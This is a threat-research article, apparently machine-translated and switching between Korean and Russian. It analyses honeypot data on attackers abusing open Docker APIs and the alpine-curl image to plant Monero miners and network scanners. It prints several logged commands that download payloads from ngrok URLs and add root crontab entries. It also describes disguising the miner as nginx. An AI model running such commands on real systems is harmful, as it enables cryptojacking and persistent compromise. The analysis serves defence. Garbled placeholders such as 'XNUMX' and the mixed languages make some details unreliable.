🥇닫히지 않은 Docker API와 커뮤니티 기반 공개 이미지가 암호화폐 채굴자를 배포하는 데 사용되는 방식

위협 추적을 위해 만든 허니팟 컨테이너를 사용하여 수집된 데이터를 분석했습니다. 그리고 Docker Hub에 커뮤니티 게시 이미지를 사용하여 악성 컨테이너로 배포된 원치 않거나 승인되지 않은 암호화폐 채굴자의 중요한 활동을 감지했습니다. 해당 이미지는 악의적인 암호화폐 채굴자를 전달하는 서비스의 일부로 사용됩니다.

또한 열려 있는 인접 컨테이너 및 애플리케이션에 침투하기 위해 네트워크 작업을 위한 프로그램이 설치됩니다.

우리는 어떠한 보안 조치나 후속 소프트웨어 설치 없이 허니팟을 있는 그대로, 즉 기본 설정으로 둡니다. Docker에는 오류와 단순한 취약점을 방지하기 위한 초기 설정에 대한 권장 사항이 있습니다. 그러나 사용되는 허니팟은 컨테이너 내부의 애플리케이션이 아닌 컨테이너화 플랫폼을 겨냥한 공격을 탐지하도록 설계된 컨테이너입니다.

감지된 악성 활동은 취약점이 필요하지 않고 Docker 버전과도 독립적이기 때문에 주목할 만합니다. 잘못 구성되어 열려 있는 컨테이너 이미지를 찾는 것은 공격자가 많은 공개 서버를 감염시키는 데 필요한 전부입니다.

비공개 Docker API를 통해 사용자는 다양한 작업을 수행할 수 있습니다. 팀, 실행 중인 컨테이너 목록 가져오기, 특정 컨테이너에서 로그 가져오기, 시작, 중지(강제 포함), 지정된 설정을 사용하여 특정 이미지에서 새 컨테이너 만들기까지 포함됩니다.

왼쪽은 악성코드 전달 방식이다. 오른쪽에는 이미지를 원격으로 롤아웃할 수 있는 공격자의 환경이 있습니다.

3762개의 개방형 Docker API가 국가별로 배포됩니다. 12.02.2019년 XNUMX월 XNUMX일자 Shodan 검색 기준

공격 체인 및 페이로드 옵션

허니팟의 도움으로만 악의적인 활동이 감지된 것은 아닙니다. Shodan의 데이터에 따르면 Monero 암호화폐 채굴 소프트웨어를 배포하기 위한 브리지로 사용되는 잘못 구성된 컨테이너를 조사한 이후 노출된 Docker API(두 번째 그래프 참조)의 수가 증가했습니다. 지난해 2018월(XNUMX년 현재 자료) 당신은 이렇게 보일 수 있습니다 약. 역자) 공개 API는 856개에 불과했습니다.

허니팟 로그를 조사한 결과 컨테이너 이미지 사용이 다음과 같은 사용과도 연관되어 있는 것으로 나타났습니다. 남자, 보안 연결을 설정하거나 공개적으로 액세스 가능한 지점에서 지정된 주소나 리소스(예: localhost)로 트래픽을 전달하기 위한 도구입니다. 이를 통해 공격자는 공개 서버에 페이로드를 전달할 때 동적으로 URL을 생성할 수 있습니다. 다음은 ngrok 서비스 남용을 보여주는 로그의 코드 예입니다.

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

보시다시피, 업로드된 파일은 끊임없이 변화하는 URL에서 다운로드됩니다. 이러한 URL은 만료 날짜가 짧으므로 만료 날짜 이후에는 페이로드를 다운로드할 수 없습니다.

Есть два варианта полезной нагрузки. Первый — скомпилированный майнер в формате ELF для Linux (определяемый как Coinminer.SH.MALXMR.ATNO), который подключается к пулу для майнинга. Второй — скрипт (TrojanSpy.SH.ZNETMAP.A), предназначенный для получения определенных сетевых инструментов, используемых для сканирования сетевых диапазонов и последующего поиска новых целей.

드로퍼 스크립트는 두 개의 변수를 설정한 다음 암호화폐 채굴기를 배포하는 데 사용됩니다. HOST 변수에는 악성 파일이 위치한 URL이 포함되고, RIP 변수에는 배포할 채굴기의 파일 이름(사실 해시)이 포함됩니다. HOST 변수는 해시 변수가 변경될 때마다 변경됩니다. 또한 스크립트는 공격받은 서버에서 실행 중인 다른 암호화폐 채굴자가 없는지 확인하려고 시도합니다.

HOST 및 RIP 변수의 예와 다른 채굴자가 실행되고 있지 않은지 확인하는 데 사용되는 코드 조각

Прежде чем запускать майнер, он переименовывается в nginx. Другие версии этого скрипта переименовывают майнер в другие легитимные сервисы, которые могут присутствовать в окружениях Linux. Этого обычно достаточно для обхода проверок по списку запущенных процессов.

검색 스크립트에도 기능이 있습니다. 동일한 URL 서비스와 함께 작동하여 필요한 도구를 배포합니다. 그중에는 네트워크를 스캔하고 열린 포트 목록을 얻는 데 사용되는 zmap 바이너리가 있습니다. 또한 스크립트는 발견된 서비스와 상호 작용하고 해당 서비스로부터 배너를 수신하여 발견된 서비스에 대한 추가 정보(예: 해당 버전)를 확인하는 데 사용되는 또 다른 바이너리를 로드합니다.

또한 스크립트는 스캔할 일부 네트워크 범위를 미리 결정하지만 이는 스크립트 버전에 따라 다릅니다. 또한 스캔을 실행하기 전에 서비스(이 경우 Docker)에서 대상 포트를 설정합니다.

Как только найдены предполагаемые цели — автоматически из них снимаются баннеры. Скрипт также фильтрует цели в зависимости от интересующих его сервисов, приложений, компонентов или платформ: Redis, Jenkins, Drupal, MODX, 쿠버네티스 마스터, Docker 1.16 클라이언트 및 Apache CouchDB. 스캔한 서버가 이들 중 하나라도 일치하면 텍스트 파일에 저장되어 공격자가 나중에 후속 분석 및 해킹에 사용할 수 있습니다. 이러한 텍스트 파일은 동적 링크를 통해 공격자의 서버에 업로드됩니다. 즉, 파일별로 별도의 URL을 사용하므로 후속 접근이 어렵다는 의미이다.

공격 벡터는 다음 두 코드에서 볼 수 있듯이 Docker 이미지입니다.

상단에는 합법적인 서비스로 이름이 바뀌고 하단에는 zmap을 사용하여 네트워크를 검색하는 방법이 나와 있습니다.

상단에는 사전 정의된 네트워크 범위가 있고 하단에는 Docker를 포함하여 서비스 검색을 위한 특정 포트가 있습니다.

스크린샷을 보면 알파인 컬 이미지가 천만 번 이상 다운로드되었음을 알 수 있습니다.

На основе Alpine Linux и curl, ресурсоэффективного инструмента CLI для передачи файлов по различным протоколам, можно собрать 도커 이미지. 이전 이미지에서 볼 수 있듯이 이 이미지는 이미 천만 번 이상 다운로드되었습니다. 다운로드 수가 많다는 것은 이 이미지를 진입점으로 사용한다는 의미일 수 있습니다. 이 이미지는 10개월 이상 전에 업데이트되었으며 사용자는 이 저장소에서 다른 이미지를 자주 다운로드하지 않았습니다. 도커에서 진입점 - 컨테이너를 실행하도록 구성하는 데 사용되는 일련의 지침입니다. 진입점 설정이 잘못된 경우(예: 컨테이너가 인터넷에 열려 있는 경우) 이미지가 공격 벡터로 사용될 수 있습니다. 공격자는 잘못 구성되었거나 지원되지 않는 열린 컨테이너를 발견한 경우 이를 사용하여 페이로드를 전달할 수 있습니다.

이 이미지(alpine-curl) 자체는 악성은 아니지만, 위에서 볼 수 있듯이 악의적인 기능을 수행하는 데 사용될 수 있다는 점에 유의하는 것이 중요합니다. 유사한 Docker 이미지를 사용하여 악의적인 활동을 수행할 수도 있습니다. 우리는 Docker에 연락하여 이 문제에 대해 협력했습니다.

비독점 Docker API와 커뮤니티의 공개 이미지를 사용하여 암호화폐 채굴기를 배포하는 방법

공격 체인 및 페이로드 옵션

추천

타협의 징후